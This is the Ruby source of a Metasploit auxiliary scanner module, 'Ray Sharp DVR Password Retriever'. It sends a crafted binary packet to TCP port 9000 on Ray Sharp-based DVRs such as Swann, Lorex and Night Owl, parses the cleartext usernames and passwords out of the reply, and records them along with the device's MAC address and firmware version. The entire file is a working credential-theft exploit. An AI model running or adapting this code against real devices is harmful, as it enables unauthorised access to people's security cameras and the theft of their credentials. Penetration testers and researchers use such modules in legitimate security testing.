1
# encoding: binary
2

3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7

8
class MetasploitModule < Msf::Auxiliary
9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Auxiliary::Report
11
  include Msf::Auxiliary::Scanner
12

13
  def initialize
14
    super(
15
      'Name' => 'Ray Sharp DVR Password Retriever',
16
      'Description' => %q{
17
          This module takes advantage of a protocol design issue with the
18
        Ray Sharp based DVR systems. It is possible to retrieve the username and
19
        password through the TCP service running on port 9000. Other brands using
20
        this platform and exposing the same issue may include Swann, Lorex,
21
        Night Owl, Zmodo, URMET, and KGuard Security.
22
      },
23
      'Author' => [
24
        'someluser', # Python script
25
        'hdm' # Metasploit module
26
      ],
27
      'References' => [
28
        [ 'URL', 'http://console-cowboys.blogspot.com/2013/01/swann-song-dvr-insecurity.html' ]
29
      ],
30
      'License' => MSF_LICENSE
31
    )
32

33
    register_options([ Opt::RPORT(9000) ])
34
  end
35

36
  def report_cred(opts)
37
    service_data = {
38
      address: opts[:ip],
39
      port: opts[:port],
40
      service_name: opts[:service_name],
41
      protocol: 'tcp',
42
      workspace_id: myworkspace_id
43
    }
44

45
    credential_data = {
46
      origin_type: :service,
47
      module_fullname: fullname,
48
      username: opts[:user],
49
      private_data: opts[:password],
50
      private_type: :password
51
    }.merge(service_data)
52

53
    login_data = {
54
      core: create_credential(credential_data),
55
      status: Metasploit::Model::Login::Status::UNTRIED,
56
      proof: opts[:proof]
57
    }.merge(service_data)
58

59
    create_credential_login(login_data)
60
  end
61

62
  def run_host(ip)
63
    req =
64
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +
65
      "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00" +
66
      ("\x00" * 475)
67

68
    connect
69
    sock.put(req)
70

71
    buf = ""
72
    begin
73
      # Pull data until the socket closes or we time out
74
      Timeout.timeout(15) do
75
        loop do
76
          res = sock.get_once(-1, 1)
77
          buf << res if res
78
        end
79
      end
80
    rescue ::Timeout::Error
81
    rescue ::EOFError
82
    end
83

84
    disconnect
85

86
    info = ""
87
    mac = nil
88
    ver = nil
89

90
    creds = {}
91

92
    buf.scan(/[\x00\xff]([\x20-\x7f]{1,32})\x00+([\x20-\x7f]{1,32})\x00\x00([\x20-\x7f]{1,32})\x00/m).each do |cred|
93
      # Make sure the two passwords match
94
      next unless cred[1] == cred[2]
95

96
      creds[cred[0]] = cred[1]
97
    end
98

99
    if creds.keys.length > 0
100
      creds.keys.sort.each do |user|
101
        pass = creds[user]
102
        report_cred(
103
          ip: rhost,
104
          port: rport,
105
          service_name: 'dvr',
106
          user: user,
107
          password: pass,
108
          proof: pass
109
        )
110
        info << "(user='#{user}' pass='#{pass}') "
111
      end
112
    end
113

114
    # Look for MAC address
115
    if buf =~ /([0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2}\-[0-9A-F]{2})/mi
116
      mac = $1
117
    end
118

119
    # Look for version
120
    if buf =~ /(V[0-9]+\.[0-9][^\x00]+)/m
121
      ver = $1
122
    end
123

124
    info << "mac=#{mac} " if mac
125
    info << "version=#{ver} " if ver
126

127
    return unless (creds.keys.length > 0 or mac or ver)
128

129
    report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => info)
130
    print_good("#{rhost}:#{rport} #{info}")
131
  end
132
end
133

134